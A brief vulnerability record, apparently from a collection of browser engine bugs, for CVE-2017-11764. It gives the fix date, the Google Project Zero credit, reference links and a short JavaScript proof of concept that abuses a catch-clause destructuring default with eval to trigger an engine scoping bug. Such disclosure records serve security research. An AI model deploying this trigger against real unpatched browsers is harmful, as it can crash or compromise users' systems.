CVE-2017-11764.md

CVE-2017-11764

• Fix: Sep 2017
• Credit: lokihardt of Google Project Zero

PoC

function f() {
    {
        let i;
        function g() {
            i;
        }

        try {
            throw 1;
        } catch ({e = eval('dd')}) {
        }
    }
}

f();

Reference

• Microsoft
• Google Project Zero
• Fix